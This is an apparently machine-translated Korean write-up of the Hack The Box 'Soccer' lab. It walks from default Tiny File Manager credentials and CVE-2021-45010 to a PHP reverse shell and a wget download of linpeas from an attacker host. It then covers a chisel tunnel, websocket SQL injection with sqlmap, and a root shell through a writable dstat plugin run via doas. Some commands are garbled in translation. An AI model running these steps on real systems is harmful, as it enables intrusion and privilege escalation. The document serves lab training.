HTB — 축구 기록

Dec 19 2022
전반적으로 약간 성가신 부분이 있는 흥미로운 상자입니다. 쉬운 평가를 받았지만 중간 크기의 상자에 기울어져 있으며 sau123의 뛰어난 데뷔작입니다. 개요:1.

전반적으로 약간 성가신 부분이 있는 흥미로운 상자입니다. 쉬운 평가를 받았지만 중간 크기의 상자에 기울어져 있으며 sau123의 뛰어난 데뷔작입니다.

개요:
1. 기본 자격 증명이 있는 숨겨진 로그인 양식이 있는 흥미로운 웹 사이트입니다.
2. 리버스 셸로 이어지는 디렉터리 탐색 취약점.
3. sqli 및 공개된 자격 증명으로 이어지는 websocket 취약점.
4. 비정상적인 바이너리에 대한 액세스는 priv esc를 허용합니다!

언제나처럼 nmap을 사용하여 시작하겠습니다.

초기 열거형 및 웹 SVR 발판

일부 웹 열거부터
시작하겠습니다 . 여러 스캐너를 사용했는데 /tiny/를 공개한 유일한 도구는 dirbuster였습니다.

주변을 파헤친 후 Tiny File Manager 의 github를 찾았습니다 .
https://github.com/prasathmani/tinyfilemanager
기본 자격 증명은 다음과 같습니다.
admin: admin@123
user:12345

이 버전의 Tiny는 CVE-2021–45010에 취약한 것으로 보입니다
. PHP 파일을 웹루트에 연결하여 코드 실행으로 이어집니다.)

사이트의 기능을 탐색한 후 리버스 PHP 웹쉘과 nc를 사용하여 낮은 수준의 svc 계정을 얻을 수 있었습니다.
https://github.com/tutorial0/WebShell/blob/master/Php/php-reverse-shell.php

더 나은 쉘을 얻자:
export TERM=xterm
python3 -c 'import pty;pty.spawn("/bin/bash")'

user.txt를 cat할 수 없습니다. 다른 priv esc를 가져오도록 합시다.

(추가 잠재적 벡터:
nginx 실행 —
1.18.0까지의 NGINX는 캐시 중독, 자격 증명 하이재킹 또는 보안 우회로 이어질 수 있는 HTTP 요청 밀수 공격을 허용합니다.)
— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —

SVC에서 플레이어로 에스컬레이션

초기 열거는 localhost에서 서비스를 실행하는 몇 가지 흥미로운 포트를 강조했습니다.

그러나 이것들로 돌아가서 컴퓨터에서 linpeas를 가져오고 실행하여 시작하겠습니다.
attackbox: python3 -m http.server
client: wgethttp://10.10.X.X:8000/linpeas.sh
chmod +x linpeas.sh

기계가 다음에 취약한 것 같습니다(둘 다 작동하지 못했습니다).
CVE-2021–3560 — Polkit 익스플로잇(경쟁 조건)
CVE-2022–2588 — route4_filter의 연결 목록에 대한 부적절한 작업

아무 것도 튀어나오지 않으므로 해당 로컬 서비스를 탐색해 보겠습니다
. nginx 구성 파일에서 다음을 볼 수 있습니다.
3000 =soc-player.soccer.htb(이것을 호스트 파일에 추가하겠습니다)

찾아보고 http://soc-player.soccer.htb/signup계정을 만든 다음 로그인합니다.

로그인하면 페이지가 표시됩니다 http://soc-player.soccer.htb/check. 흥미로운..

티켓을 검색할 수 있는 티켓 확인 메커니즘이 있습니다. html 소스를 검사한 후 이 기능이 websocket에 연결되어 있음을 발견했습니다.

var ws = new WebSocket("ws://soc-player.soccer.htb:9091");

게시물의 python 스크립트는 localhost:8081에 대한 sqlmap 요청을 대상 호스트의 websocket 포트 9091로 전달하는 프록시로 사용할 수 있습니다. 설정이 작동하려면 스크립트에서 일부 매개변수를 변경해야 합니다.

끌을 사용하겠습니다(https://github.com/jpillora/chisel) 3000을 내 로컬 호스트로 포워딩합니다.

다시 - http.server를 사용하여 장치에서 끌을 가져온 다음:
Kali: 끌 서버 — 포트 1337 — 역방향
호스트: ./chisel 클라이언트 — max-retry-count=1 10.10.XX:1337 R:3000:localhost:3000

이제 안전한 터널링 연결이 있으며 sqlmap을 실행할 수 있습니다.

그러면 다음과 같이 출력 됩니다.
[email protected]
Player****************

이제 플레이어로 ssh할 수 있습니다.
— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —

플레이어에서 루트로 에스컬레이션

열거 후 우리는 플레이어가 doas 바이너리를 실행할 수 있음을 발견했습니다.

doas.config는 /usr/local/etc에 있지만 쓸 수는 없지만 플레이어가 실행할 수 있다고 명시되어 있습니다. /usr/bin/dstat

그것이 무엇을 하는지 조금 더 알아봅시다!

이것으로 무엇을 할 수 있는지 나열해 봅시다:
/usr/bin/dstat -h

플러그인을 허용하는 것 같습니다. 루트를 얻는 데 유용한 플러그인이 있습니까?

아니 근데 어쩌면 우리가 직접 쓸 수 있을지도..

찾기 / -쓰기 가능 -유형 d 2>/dev/null

/usr/local/share/dstat에 쓸 수 있는 것 같습니다.

거기에 dstat_play.py라는 플러그인 파일을 만듭니다.

import subprocess
#새 bash 셸 시작
subprocess.run([“bash”])

실행하십시오:
doas -u root /usr/bin/dstat dstat_play.py

우리는 이제 루트입니다!